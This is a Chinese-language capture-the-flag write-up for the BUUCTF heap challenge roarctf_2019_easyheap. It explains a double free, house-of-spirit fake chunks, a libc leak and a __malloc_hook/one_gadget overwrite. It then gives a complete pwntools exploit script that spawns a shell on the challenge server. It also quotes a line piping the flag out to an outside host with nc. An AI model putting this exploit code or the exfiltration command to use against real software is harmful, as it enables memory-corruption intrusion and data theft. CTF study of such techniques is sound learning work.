BUUCTF-PWN roarctf_2019_easyheap(double free, stdout重定向)

這裏寫目錄標題

題目分析

在這裏插入圖片描述
有添加,刪除,展示三個主要功能,不過添加有次數限制,同時限制了申請大小,使得我們不能申請出unsorted bin範圍內的chunk
在這裏插入圖片描述
刪除之後沒有置空,可以多次free
在這裏插入圖片描述
show功能有條件限制,而且會把stdout關了
在這裏插入圖片描述
在這裏插入圖片描述
添加和後門的次數
在這裏插入圖片描述
後門函數可以進行calloc和free,同樣沒有置空,但是後門函數的次數限制邏輯有問題,即使爲0還會再進行一次減,這樣就不爲0了,calloc大小不能控制,爲0xa0,在unsorted bin範圍內
在這裏插入圖片描述

漏洞利用

  1. 在輸入名字信息時僞造一個chunk,size爲0x71
  2. 先利用後門函數進行申請,然後又普通申請一個0x60大小,並釋放後門中申請的chunk使得它進入unsorted bin,之後我們在普通申請,就會切割unsorted bin給我們,再次申請獲得一個新的chunk,此時就能double free了(因爲後門函數仍然指向之前的unsorted bin,但那部分此時被切割給我們了)
  3. 利用house of spirit申請出fake_chunk,並修改0x602090爲指定值,並修改正常指針爲read_got,利用show功能泄露libc
  4. 在關閉stdout之後,我們仍然可以和程序通信,再次故伎重演,這次利用house of spirit修改__malloc_hook爲realloc+0x14,並把__realloc_hook改爲one_gadget即可
  5. 最後還有一步,我們需要把stdout重定向到stdin,不然是什麼都看不到的,使用exec 1>&0,不過也看到反彈shell的方法(cat flag | nc 192.168.235.128 1234),因爲buu反彈shell比較麻煩,所以建議使用重定向

Exp

from pwn import *

r = remote("node3.buuoj.cn", 27712)
#r = process("./roarctf_2019_easyheap")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400A47
	x/10gx 0x602088
	c
	''')
elf = ELF("./roarctf_2019_easyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
fake_chunk = 0x602060
read_got = elf.got['read']


menu = ">> "
def add(size, content, blind = False):
	if not blind:
		r.recvuntil(menu)
	else:
		sleep(0.3)
	r.sendline('1')
	if not blind:
		r.recvuntil("input the size\n")
	else:
		sleep(0.3)
	r.sendline(str(size))
	if not blind:
		r.recvuntil("please input your content\n")
	else:
		sleep(0.3)
	r.send(content)

def delete(blind = False):
	if not blind:
		r.recvuntil(menu)
	else:
		sleep(0.3)
	r.sendline('2')


def show():
	r.recvuntil(menu)
	r.sendline('3')


def secret(type, content='', blind = False):
	if not blind:
		r.recvuntil(menu)
	else:
		sleep(0.3)
	r.sendline('666')
	if not blind:
		r.recvuntil("build or free?\n")
	else:
		sleep(0.3)
	r.sendline(str(type))	#1.add 2.free
	if type == 1:
		if not blind:
			r.recvuntil("please input your content\n")
		else:
			sleep(0.3)
		r.send(content)
		
r.recvuntil("please input your username:")
payload = p64(0) + p64(0x71) + '\x00'*0x10
r.send(payload)
r.recvuntil("please input your info:")
r.send('b'*0x20)

secret(1, 'a'*0xa0)
add(0x60, 'chunk1\n')
secret(2)
add(0x60, 'chunk0part\n')
add(0x60, 'chunk2\n')
delete()
secret(2)
delete()

add(0x60, p64(fake_chunk))
add(0x60, 'a\n')
add(0x60, 'b\n')
payload = 'a'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF)
add(0x60, payload)

show()
read_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = read_addr - libc.symbols['read']
one_gadget = libc.address + one_gadget_16[3]
malloc_hook = libc.sym['__malloc_hook']
realloc = libc.sym['realloc']
success("malloc_hook"+hex(malloc_hook))
success("libc_base:"+hex(libc.address))

secret(1, 'a', blind = True)
secret(1, 'a'*0xa0, True)
add(0x60, 'b'*0x60, True)
secret(2, blind = True)
add(0x60, 'c'*0x60, True)
add(0x60, 'd'*0x60, True)
delete(True)
secret(2, blind = True)
delete(True)

add(0x60, p64(malloc_hook-0x23), True)
add(0x60, 'a'*0x60, True)
add(0x60, 'b'*0x60, True)
payload = '\x00'*(0x13-8) + p64(one_gadget) + p64(realloc+0x14)
add(0x60, payload, True)
#sleep(0.3)
r.sendline('1')
sleep(0.3)
r.sendline('10')

r.sendline("exec 1>&0")
r.interactive()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章